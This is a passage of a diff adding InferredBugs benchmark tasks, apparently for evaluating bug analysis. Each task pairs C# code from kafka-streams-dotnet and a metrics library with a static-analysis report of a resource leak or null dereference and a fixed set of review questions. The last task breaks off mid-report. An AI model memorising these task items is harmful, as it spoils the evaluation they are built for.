+                            udpClient.Receive(ref ipEndpoint);
+                        }
+                        catch { }
+                    }
+                });
+        }
+    }
+
+    [GaugeAggregator(AggregateMode.Count)]
+    public class CountGauge : AggregateGauge
+    {
+    }
+
+    [GaugeAggregator(AggregateMode.Count)]
+    [GaugeAggregator(AggregateMode.Average)]
+    [GaugeAggregator(AggregateMode.Max)]
+    [GaugeAggregator(AggregateMode.Min)]
+    [GaugeAggregator(AggregateMode.Median)]
+    [GaugeAggregator(AggregateMode.Percentile, 0.95)]
+    [GaugeAggregator(AggregateMode.Percentile, 0.25)]
+    public class TestAggregateGauge : AggregateGauge
+    {
+        //        [MetricTag] public readonly string Host;
+        [MetricTag] public readonly string SomeTagName;
+
+        public TestAggregateGauge(string something)
+        {
+//            Host = "bret-host";
+            SomeTagName = something;
+        }
+    }
+
+    public class TestCounter : Counter
+    {
+//        [MetricTag] public readonly string Host;
+
+        public TestCounter()
+        {
+//            Host = "bret-host";
+        }
+    }
+
+    public class TestSnapshotGauge : SnapshotGauge
+    {
+        [MetricTag] public readonly string Thing;
+
+        public TestSnapshotGauge(Func<double> getValue) : base(() => getValue())
+        {
+            Thing = "nothing";
+        }
+    }
+
+    public class TestGroupGauge : EventGauge
+    {
+        [MetricTag]
+        public readonly string Range;
+
+        public TestGroupGauge(string range)
+        {
+            Range = range;
+        }
+    }
+
+    public enum SomeEnum
+    {
+        One = 1,
+        Two = 2,
+        Three = 3,
+        Four = 4,
+    }
+
+    public class EnumCounter : Counter
+    {
+        [MetricTag] public readonly SomeEnum TagName;
+
+        public EnumCounter(SomeEnum val)
+        {
+            TagName = val;
+        }
+    }
+
+    public class ConvertedTagsTestCounter : Counter
+    {
+        [MetricTag] public readonly string Converted;
+
+        public ConvertedTagsTestCounter(string toConvert)
+        {
+            Converted = toConvert;
+        }
+    }
+
+    [ExcludeDefaultTags("host")]
+    public class ExcludeHostCounter : Counter
+    {
+        [MetricTag] public readonly string Other;
+
+        public ExcludeHostCounter()
+        {
+            Other = "true";
+        }
+    }
+
+    public class TestExternalCounter : CumulativeCounter
+    {
+        [MetricTag] public readonly SomeEnum Something;
+
+        public TestExternalCounter(SomeEnum something)
+        {
+            Something = something;
+        }
+    }
+
+    public class ExternalNoTagsCounter : CumulativeCounter
+    {
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type System.Net.Http.HttpClient, Leaked resource (output of Scratch.TestHttpHandler::.ctor() at Line 268) of type Scratch.TestHttpHandler in method "HttpClient TestSignalFxHandler.CreateHttpClient()".
+
+### Severity:
+ERROR
+
+### Procedure:
+HttpClient TestSignalFxHandler.CreateHttpClient()
+
+### File:
+tests/Scratch/Program.cs
+
+### Key:
+Program.cs|CreateHttpClient|DOTNET_RESOURCE_LEAK
+
+### Hash:
+3903f094dc594061581c643bb4067c0d
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0358/instruction.md b/inferredbugs-0358/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e6d5cec6c835a619bc9ff66c61909f354a37477c
--- /dev/null
+++ b/inferredbugs-0358/instruction.md
@@ -0,0 +1,335 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kafka-streams-dotnet
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Confluent.Kafka;
+using Streamiz.Kafka.Net.Kafka;
+using Streamiz.Kafka.Net.Mock.Pipes;
+using Streamiz.Kafka.Net.Mock.Sync;
+using Streamiz.Kafka.Net.Processors;
+using Streamiz.Kafka.Net.Processors.Internal;
+using Streamiz.Kafka.Net.SerDes;
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data.SqlTypes;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using Streamiz.Kafka.Net.Crosscutting;
+using Streamiz.Kafka.Net.Kafka.Internal;
+using Streamiz.Kafka.Net.Metrics;
+using Streamiz.Kafka.Net.Stream.Internal;
+
+namespace Streamiz.Kafka.Net.Mock
+{
+    internal sealed class TaskSynchronousTopologyDriver : IBehaviorTopologyTestDriver
+    {
+        private readonly IStreamConfig configuration;
+        private readonly IStreamConfig topicConfiguration;
+        private readonly InternalTopologyBuilder builder;
+        private readonly CancellationToken token;
+        private readonly IKafkaSupplier supplier;
+        private readonly IDictionary<TaskId, StreamTask> tasks = new Dictionary<TaskId, StreamTask>();
+        private readonly GlobalStateUpdateTask globalTask = null;
+        private readonly GlobalProcessorContext globalProcessorContext = null;
+        private readonly StreamMetricsRegistry metricsRegistry;
+        
+        private readonly IDictionary<TaskId, IList<TopicPartition>> partitionsByTaskId =
+            new Dictionary<TaskId, IList<TopicPartition>>();
+
+        private readonly SyncProducer producer = null;
+        private readonly bool hasGlobalTopology = false;
+        private ITopicManager internalTopicManager;
+
+        public bool IsRunning { get; private set; }
+
+        public bool IsStopped => !IsRunning;
+
+        public bool IsError { get; private set; } = false;
+
+        public TaskSynchronousTopologyDriver(string clientId, InternalTopologyBuilder topologyBuilder,
+            IStreamConfig configuration, IStreamConfig topicConfiguration, CancellationToken token)
+            : this(clientId, topologyBuilder, configuration, topicConfiguration, null, token)
+        {
+        }
+
+        public TaskSynchronousTopologyDriver(string clientId, InternalTopologyBuilder topologyBuilder,
+            IStreamConfig configuration, IStreamConfig topicConfiguration, IKafkaSupplier supplier,
+            CancellationToken token)
+        {
+            this.configuration = configuration;
+            this.configuration.ClientId = clientId;
+            this.topicConfiguration = topicConfiguration;
+            metricsRegistry = new StreamMetricsRegistry(clientId, MetricsRecordingLevel.DEBUG);
+            
+            this.token = token;
+            builder = topologyBuilder;
+            this.supplier = supplier ?? new SyncKafkaSupplier();
+            this.supplier.MetricsRegistry = metricsRegistry;
+            producer = this.supplier.GetProducer(configuration.ToProducerConfig()) as SyncProducer;
+
+            foreach (var sourceTopic in builder
+                .GetSourceTopics())
+            {
+                var part = new TopicPartition(sourceTopic, 0);
+                var taskId = builder.GetTaskIdFromPartition(part);
+                if (partitionsByTaskId.ContainsKey(taskId))
+                    partitionsByTaskId[taskId].Add(part);
+                else
+                    partitionsByTaskId.Add(taskId, new List<TopicPartition> {part});
+            }
+            
+            ProcessorTopology globalTaskTopology = topologyBuilder.BuildGlobalStateTopology();
+            hasGlobalTopology = globalTaskTopology != null;
+            if (hasGlobalTopology)
+            {
+                var globalConsumer =
+                    this.supplier.GetGlobalConsumer(configuration.ToGlobalConsumerConfig($"{clientId}-global-consumer"));
+                var adminClient = this.supplier.GetAdmin(configuration.ToAdminConfig($"{clientId}-admin"));
+                var stateManager =
+                    new GlobalStateManager(globalConsumer, globalTaskTopology, adminClient, configuration);
+                globalProcessorContext = new GlobalProcessorContext(configuration, stateManager, metricsRegistry);
+                stateManager.SetGlobalProcessorContext(globalProcessorContext);
+                globalTask = new GlobalStateUpdateTask(stateManager, globalTaskTopology, globalProcessorContext);
+                
+                globalTask.Initialize();
+            }
+        }
+
+        internal StreamTask GetTask(string topicName)
+        {
+            StreamTask task = null;
+            var id = builder.GetTaskIdFromPartition(new Confluent.Kafka.TopicPartition(topicName, 0));
+            if (tasks.ContainsKey(id))
+                task = tasks[id];
+            else
+            {
+                if (!builder.GetGlobalTopics().Contains(topicName))
+                {
+                    task = new StreamTask("thread-0",
+                        id,
+                        partitionsByTaskId[id],
+                        builder.BuildTopology(id),
+                        supplier.GetConsumer(configuration.ToConsumerConfig(), null),
+                        configuration,
+                        supplier,
+                        producer,
+                        new MockChangelogRegister(),
+                        metricsRegistry);
+                    task.InitializeStateStores();
+                    task.InitializeTopology();
+                    task.RestorationIfNeeded();
+                    task.CompleteRestoration();
+                    tasks.Add(id, task);
+                }
+            }
+
+            return task;
+        }
+
+        private void InitializeInternalTopicManager()
+        {
+            // Create internal topics (changelogs & repartition) if need
+            var adminClientInternalTopicManager = supplier.GetAdmin(configuration.ToAdminConfig(
+                StreamThread.GetSharedAdminClientId(
+                    $"{configuration.ApplicationId.ToLower()}-admin-internal-topic-manager")));
+            internalTopicManager = new DefaultTopicManager(configuration, adminClientInternalTopicManager);
+
+            InternalTopicManagerUtils
+                .New()
+                .CreateSourceTopics(builder, supplier)
+                .CreateInternalTopicsAsync(internalTopicManager, builder)
+                .GetAwaiter()
+                .GetResult();
+        }
+
+        private void ForwardRepartitionTopic(IConsumer<byte[], byte[]> consumer, string topic)
+        {
+            var records = new List<ConsumeResult<byte[], byte[]>>();
+            consumer.Subscribe(topic);
+            ConsumeResult<byte[], byte[]> record = null;
+            do
+            {
+                record = consumer.Consume();
+                if (record != null)
+                    records.Add(record);
+            } while (record != null);
+
+
+            if (records.Any())
+            {
+                long now = DateTime.Now.GetMilliseconds();
+                var task = GetTask(topic);
+                task.AddRecords(records);
+                while (task.CanProcess(now))
+                    task.Process();
+
+                consumer.Commit(records.Last());
+            }
+
+            consumer.Unsubscribe();
+        }
+
+        private SyncPipeBuilder CreateBuilder(string topicName)
+        {
+            var task = GetTask(topicName);
+            if (task == null && hasGlobalTopology)
+            {
+                return new SyncPipeBuilder(globalTask);
+            }
+
+            return new SyncPipeBuilder(task);
+        }
+        
+        #region IBehaviorTopologyTestDriver
+
+        public TestMultiInputTopic<K, V> CreateMultiInputTopic<K, V>(string[] topics, ISerDes<K> keySerdes = null,
+            ISerDes<V> valueSerdes = null)
+        {
+            Dictionary<string, IPipeInput> pipes = new Dictionary<string, IPipeInput>();
+
+            foreach (var topic in topics)
+            {
+                var builder = CreateBuilder(topic);
+                var pipeInput = builder.Input(topic, configuration);
+
+                var topicsLink = new List<string>();
+                this.builder.GetLinkTopics(topic, topicsLink);
+                var consumer =
+                    supplier.GetConsumer(topicConfiguration.ToConsumerConfig("consumer-repartition-forwarder"),
+                        null);
+
+                foreach (var topicLink in topicsLink)
+                    pipeInput.Flushed += () => ForwardRepartitionTopic(consumer, topicLink);
+
+                pipes.Add(topic, pipeInput);
+            }
+
+            return new TestMultiInputTopic<K, V>(pipes, configuration, keySerdes, valueSerdes);
+        }
+
+        public TestInputTopic<K, V> CreateInputTopic<K, V>(string topicName, ISerDes<K> keySerdes,
+            ISerDes<V> valueSerdes)
+        {
+            var pipeBuilder = CreateBuilder(topicName);
+            var pipeInput = pipeBuilder.Input(topicName, configuration);
+
+            var topicsLink = new List<string>();
+            builder.GetLinkTopics(topicName, topicsLink);
+            var consumer = supplier.GetConsumer(topicConfiguration.ToConsumerConfig("consumer-repartition-forwarder"),
+                null);
+
+            foreach (var topic in topicsLink)
+                pipeInput.Flushed += () => ForwardRepartitionTopic(consumer, topic);
+
+            return new TestInputTopic<K, V>(pipeInput, configuration, keySerdes, valueSerdes);
+        }
+
+        public TestOutputTopic<K, V> CreateOutputTopic<K, V>(string topicName, TimeSpan consumeTimeout,
+            ISerDes<K> keySerdes = null, ISerDes<V> valueSerdes = null)
+        {
+            var pipeBuilder = new SyncPipeBuilder(producer);
+            var pipeOutput = pipeBuilder.Output(topicName, consumeTimeout, configuration, token);
+            return new TestOutputTopic<K, V>(pipeOutput, topicConfiguration, keySerdes, valueSerdes);
+        }
+
+        public void Dispose()
+        {
+            internalTopicManager?.Dispose();
+
+            foreach (var t in tasks.Values)
+            {
+                t.Close();
+
+                // Remove local state store for this task
+                if (t.IsPersistent)
+                    Directory.Delete(t.Context.StateDir, true);
+            }
+
+            if (hasGlobalTopology)
+            {
+                globalTask.FlushState();
+                globalTask.Close();
+            }
+
+            IsRunning = false;
+        }
+
+        public void StartDriver()
+        {
+            InitializeInternalTopicManager();
+
+            IsRunning = true;
+        }
+
+        public IStateStore GetStateStore<K, V>(string name)
+        {
+            var task = tasks.Values.FirstOrDefault(t => t.Context.GetStateStore(name) != null);
+            
+            if(task != null)
+                return task.Context.GetStateStore(name);
+
+            return hasGlobalTopology ? globalProcessorContext.GetStateStore(name) : null;
+        }
+
+        #endregion
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `task` last assigned on line 159 could be null and is dereferenced at line 160, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TaskSynchronousTopologyDriver.ForwardRepartitionTopic(IConsumer`2<!0,!1>,String)
+
+### File:
+core/Mock/TaskSynchronousTopologyDriver.cs
+
+### Key:
+TaskSynchronousTopologyDriver.cs|ForwardRepartitionTopic|NULL_DEREFERENCE
+
+### Node Key:
+5f12004af86bc692e0983547f0c7b710
+
+### Hash:
+e91b9b0e93bfeb816f23aabec3d91977
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0360/instruction.md b/inferredbugs-0360/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..af793de45ec132969e431e1ab00c9765daddaa87
--- /dev/null
+++ b/inferredbugs-0360/instruction.md
@@ -0,0 +1,269 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kafka-streams-dotnet
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using Confluent.Kafka;
+using Moq;
+using NUnit.Framework;
+using Streamiz.Kafka.Net.Crosscutting;
+using Streamiz.Kafka.Net.Errors;
+using Streamiz.Kafka.Net.Mock.Sync;
+using Streamiz.Kafka.Net.Processors;
+using Streamiz.Kafka.Net.Processors.Internal;
+using Streamiz.Kafka.Net.SerDes;
+using Streamiz.Kafka.Net.State;
+using Streamiz.Kafka.Net.State.RocksDb;
+using static Streamiz.Kafka.Net.Processors.Internal.StoreChangelogReader;
+
+namespace Streamiz.Kafka.Net.Tests.Private
+{
+    public class StoreChangelogReaderTests
+    {
+        private string stateDir;
+        private string changelogTopic;
+        private IStreamConfig config;
+        private SyncKafkaSupplier supplier;
+        private RocksDbKeyValueStore store;
+        private StoreChangelogReader storeChangelogReader;
+        private ProcessorStateManager stateMgr;
+        private ProcessorContext context;
+        private IConsumer<byte[], byte[]> restoreConsumer;
+
+        private Message<byte[], byte[]> CreateMessage(string topic, string key, string value)
+        {
+            StringSerDes stringSerDes = new StringSerDes();
+            return new Message<byte[], byte[]>
+            {
+                Key = stringSerDes.Serialize(key, new SerializationContext(MessageComponentType.Key, topic)),
+                Value = stringSerDes.Serialize(value, new SerializationContext(MessageComponentType.Key, topic))
+            };
+        }
+
+        [SetUp]
+        public void Init()
+        {
+            stateDir = Path.Combine(".", Guid.NewGuid().ToString());
+            config = new StreamConfig<StringSerDes, StringSerDes>();
+            config.ApplicationId = "test-storechangelog-app";
+            config.StateDir = stateDir;
+            config.PollMs = 100;
+
+            supplier = new SyncKafkaSupplier();
+            var producer = supplier.GetProducer(config.ToProducerConfig());
+            restoreConsumer = supplier.GetRestoreConsumer(config.ToConsumerConfig());
+
+            var topicPart = new TopicPartition("topic", 0);
+            changelogTopic = "store-changelog-topic";
+            var changelogsTopics = new Dictionary<string, string>();
+            changelogsTopics.Add("store", changelogTopic);
+            var id = new TaskId
+            {
+                Id = 0,
+                Partition = 0
+            };
+
+            store = new RocksDbKeyValueStore("store");
+            storeChangelogReader = new StoreChangelogReader(config, restoreConsumer);
+            stateMgr = new ProcessorStateManager(
+                id,
+                topicPart.ToSingle(),
+                changelogsTopics,
+                storeChangelogReader,
+                new OffsetCheckpointFile(Path.Combine(config.StateDir, config.ApplicationId, $"{id.Id}-{id.Partition}"))
+            );
+
+            Mock<AbstractTask> moq = new Mock<AbstractTask>();
+            moq.Setup(t => t.Id).Returns(new TaskId { Id = 0, Partition = 0 });
+
+            context = new ProcessorContext(moq.Object, config, stateMgr);
+            store.Init(context, store);
+
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key1", "value1"));
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key2", "value2"));
+        }
+
+        [TearDown]
+        public void Dispose()
+        {
+            stateMgr.Close();
+            storeChangelogReader.Clear();
+            Directory.Delete(config.StateDir, true);
+        }
+
+        [Test]
+        public void RestoreComplete()
+        {
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(2, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(2, metadata.RestoreEndOffset);
+            Assert.AreEqual(2, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RestoreFromRecovery()
+        {
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            var producer = supplier.GetProducer(config.ToProducerConfig());
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key3", "value3"));
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key4", "value4"));
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+
+            File.Delete(Path.Combine(config.StateDir, config.ApplicationId, "0-0", ".checkpoint"));
+
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(4, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(4, metadata.RestoreEndOffset);
+            Assert.AreEqual(2, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RestoreFromScratch()
+        {
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+
+            var producer = supplier.GetProducer(config.ToProducerConfig());
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key3", "value3"));
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key4", "value4"));
+
+            // delete state dir rocksdb
+            Directory.Delete(Path.Combine(config.StateDir), true);
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(4, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(4, metadata.RestoreEndOffset);
+            Assert.AreEqual(4, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RestoreFromInvalidOffset()
+        {
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+
+            // set an invalid offset in checkpoint file
+            StringBuilder sb = new StringBuilder();
+            sb.AppendLine("0").AppendLine("1").AppendLine("store-changelog-topic 0 -100");
+            File.WriteAllText(Path.Combine(config.StateDir, config.ApplicationId, "0-0", ".checkpoint"), sb.ToString());
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(2, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(2, metadata.RestoreEndOffset);
+            Assert.AreEqual(2, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RegisterFailed()
+        {
+            Assert.Throws<StreamsException>(() => storeChangelogReader.Register(new TopicPartition("test", 0), stateMgr));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `metadata` last assigned on line 101 could be null and is dereferenced at line 103, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void StoreChangelogReaderTests.RestoreComplete()
+
+### File:
+test/Streamiz.Kafka.Net.Tests/Private/StoreChangelogReaderTests.cs
+
+### Key:
+StoreChangelogReaderTests.cs|RestoreComplete|NULL_DEREFERENCE
+
+### Node Key:
+c6749c0eea2f60af0918298ee5b3577c
+
+### Hash:
+c541346c087ce3a0ad81b876221c4ca3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0367/instruction.md b/inferredbugs-0367/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c3d93e3c66f6cd648aa740ee3d864a00466b89a6
--- /dev/null
+++ b/inferredbugs-0367/instruction.md
@@ -0,0 +1,269 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kafka-streams-dotnet
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using Confluent.Kafka;
+using Moq;
+using NUnit.Framework;
+using Streamiz.Kafka.Net.Crosscutting;
+using Streamiz.Kafka.Net.Errors;
+using Streamiz.Kafka.Net.Mock.Sync;
+using Streamiz.Kafka.Net.Processors;
+using Streamiz.Kafka.Net.Processors.Internal;
+using Streamiz.Kafka.Net.SerDes;
+using Streamiz.Kafka.Net.State;
+using Streamiz.Kafka.Net.State.RocksDb;
+using static Streamiz.Kafka.Net.Processors.Internal.StoreChangelogReader;
+
+namespace Streamiz.Kafka.Net.Tests.Private
+{
+    public class StoreChangelogReaderTests
+    {
+        private string stateDir;
+        private string changelogTopic;
+        private IStreamConfig config;
+        private SyncKafkaSupplier supplier;
+        private RocksDbKeyValueStore store;
+        private StoreChangelogReader storeChangelogReader;
+        private ProcessorStateManager stateMgr;
+        private ProcessorContext context;
+        private IConsumer<byte[], byte[]> restoreConsumer;
+
+        private Message<byte[], byte[]> CreateMessage(string topic, string key, string value)
+        {
+            StringSerDes stringSerDes = new StringSerDes();
+            return new Message<byte[], byte[]>
+            {
+                Key = stringSerDes.Serialize(key, new SerializationContext(MessageComponentType.Key, topic)),
+                Value = stringSerDes.Serialize(value, new SerializationContext(MessageComponentType.Key, topic))
+            };
+        }
+
+        [SetUp]
+        public void Init()
+        {
+            stateDir = Path.Combine(".", Guid.NewGuid().ToString());
+            config = new StreamConfig<StringSerDes, StringSerDes>();
+            config.ApplicationId = "test-storechangelog-app";
+            config.StateDir = stateDir;
+            config.PollMs = 100;
+
+            supplier = new SyncKafkaSupplier();
+            var producer = supplier.GetProducer(config.ToProducerConfig());
+            restoreConsumer = supplier.GetRestoreConsumer(config.ToConsumerConfig());
+
+            var topicPart = new TopicPartition("topic", 0);
+            changelogTopic = "store-changelog-topic";
+            var changelogsTopics = new Dictionary<string, string>();
+            changelogsTopics.Add("store", changelogTopic);
+            var id = new TaskId
+            {
+                Id = 0,
+                Partition = 0
+            };
+
+            store = new RocksDbKeyValueStore("store");
+            storeChangelogReader = new StoreChangelogReader(config, restoreConsumer);
+            stateMgr = new ProcessorStateManager(
+                id,
+                topicPart.ToSingle(),
+                changelogsTopics,
+                storeChangelogReader,
+                new OffsetCheckpointFile(Path.Combine(config.StateDir, config.ApplicationId, $"{id.Id}-{id.Partition}"))
+            );
+
+            Mock<AbstractTask> moq = new Mock<AbstractTask>();
+            moq.Setup(t => t.Id).Returns(new TaskId { Id = 0, Partition = 0 });
+
+            context = new ProcessorContext(moq.Object, config, stateMgr);
+            store.Init(context, store);
+
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key1", "value1"));
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key2", "value2"));
+        }
+
+        [TearDown]
+        public void Dispose()
+        {
+            stateMgr.Close();
+            storeChangelogReader.Clear();
+            Directory.Delete(config.StateDir, true);
+        }
+
+        [Test]
+        public void RestoreComplete()
+        {
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(2, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(2, metadata.RestoreEndOffset);
+            Assert.AreEqual(2, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RestoreFromRecovery()
+        {
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            var producer = supplier.GetProducer(config.ToProducerConfig());
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key3", "value3"));
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key4", "value4"));
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+
+            File.Delete(Path.Combine(config.StateDir, config.ApplicationId, "0-0", ".checkpoint"));
+
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(4, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(4, metadata.RestoreEndOffset);
+            Assert.AreEqual(2, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RestoreFromScratch()
+        {
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+
+            var producer = supplier.GetProducer(config.ToProducerConfig());
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key3", "value3"));
+            producer.Produce(changelogTopic, CreateMessage(changelogTopic, "key4", "value4"));
+
+            // delete state dir rocksdb
+            Directory.Delete(Path.Combine(config.StateDir), true);
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(4, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(4, metadata.RestoreEndOffset);
+            Assert.AreEqual(4, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RestoreFromInvalidOffset()
+        {
+            storeChangelogReader.Restore();
+            stateMgr.Checkpoint();
+            stateMgr.Close();
+
+            // set an invalid offset in checkpoint file
+            StringBuilder sb = new StringBuilder();
+            sb.AppendLine("0").AppendLine("1").AppendLine("store-changelog-topic 0 -100");
+            File.WriteAllText(Path.Combine(config.StateDir, config.ApplicationId, "0-0", ".checkpoint"), sb.ToString());
+
+            restoreConsumer.Resume(restoreConsumer.Assignment);
+            store.Init(context, store);
+            stateMgr.InitializeOffsetsFromCheckpoint();
+
+            storeChangelogReader.Restore();
+
+            Assert.AreEqual(2, store.All().ToList().Count);
+
+            var metadata = storeChangelogReader.GetMetadata(new TopicPartition(changelogTopic, 0));
+            Assert.IsNotNull(metadata);
+            Assert.AreEqual(ChangelogState.COMPLETED, metadata.ChangelogState);
+            Assert.AreEqual(2, metadata.RestoreEndOffset);
+            Assert.AreEqual(2, metadata.TotalRestored);
+        }
+
+        [Test]
+        public void RegisterFailed()
+        {
+            Assert.Throws<StreamsException>(() => storeChangelogReader.Register(new TopicPartition("test", 0), stateMgr));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `metadata` last assigned on line 138 could be null and is dereferenced at line 140, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void StoreChangelogReaderTests.RestoreFromRecovery()
